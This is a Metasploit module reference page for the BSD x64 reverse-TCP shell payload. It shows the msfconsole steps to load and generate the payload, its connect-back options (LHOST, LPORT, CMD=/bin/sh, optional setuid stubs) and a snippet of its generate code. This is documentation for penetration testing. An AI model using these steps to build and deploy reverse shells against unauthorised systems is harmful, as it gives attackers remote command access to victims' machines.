BSD x64 Shell Reverse TCP - Metasploit
This page contains detailed information about how to use the payload/bsd/x64/shell_reverse_tcp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: BSD x64 Shell Reverse TCP
Module: payload/bsd/x64/shell_reverse_tcp
Source code: modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x64
Supported platform(s): BSD
Target service / protocol: -
Target network port(s): -
List of CVEs: -
Connect back to attacker and spawn a command shell
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use payload/bsd/x64/shell_reverse_tcp
msf payload(shell_reverse_tcp) > show options
... show and set options ...
msf payload(shell_reverse_tcp) > generate
To learn how to generate payload/bsd/x64/shell_reverse_tcp with msfvenom, please read this.
Required Options
- LHOST: The listen address (an interface may be specified)
Go back to menu.
Msfconsole Usage
Here is how the bsd/x64/shell_reverse_tcp payload looks in the msfconsole:
msf6 > use payload/bsd/x64/shell_reverse_tcp
msf6 payload(bsd/x64/shell_reverse_tcp) > show info
Name: BSD x64 Shell Reverse TCP
Module: payload/bsd/x64/shell_reverse_tcp
Platform: BSD
Arch: x64
Needs Admin: No
Total size: 98
Rank: Normal
Provided by:
nemo <[email protected]>
joev <[email protected]>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Description:
Connect back to attacker and spawn a command shell
Module Options
This is a complete list of options available in the bsd/x64/shell_reverse_tcp payload:
msf6 payload(bsd/x64/shell_reverse_tcp) > show options
Module options (payload/bsd/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Advanced Options
Here is a complete list of advanced options supported by the bsd/x64/shell_reverse_tcp payload:
msf6 payload(bsd/x64/shell_reverse_tcp) > show advanced
Module advanced options (payload/bsd/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
LHOST must be in IPv4 format.
Here is a relevant code snippet related to the "LHOST must be in IPv4 format." error message:
41: def generate
42: lhost = datastore['LHOST'] || '127.0.0.1'
43:
44: # OptAddress allows either an IP or hostname, we only want IPv4
45: if not Rex::Socket.is_ipv4?(lhost)
46: raise ArgumentError, "LHOST must be in IPv4 format."
47: end
48:
49: cmd = (datastore['CMD'] || '') + "\x00"
50: port = [datastore['LPORT'].to_i].pack('n')
51: ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N")
Go back to menu.
Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #7060 Merged Pull Request: Fix up the 64bit BSD reverse shell
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #5838 Merged Pull Request: Instantiate payload modules so parameter validation occurs
- #5172 Merged Pull Request: Implement shell_bind and shell_reverse payloads for bsd x64
Go back to menu.
See Also
Check also the following modules related to this module:
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- exploit/bsd/finger/morris_fingerd_bof
- post/bsd/gather/hashdump
Authors
- nemo <nemo[at]felinemenace.org>
- joev
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.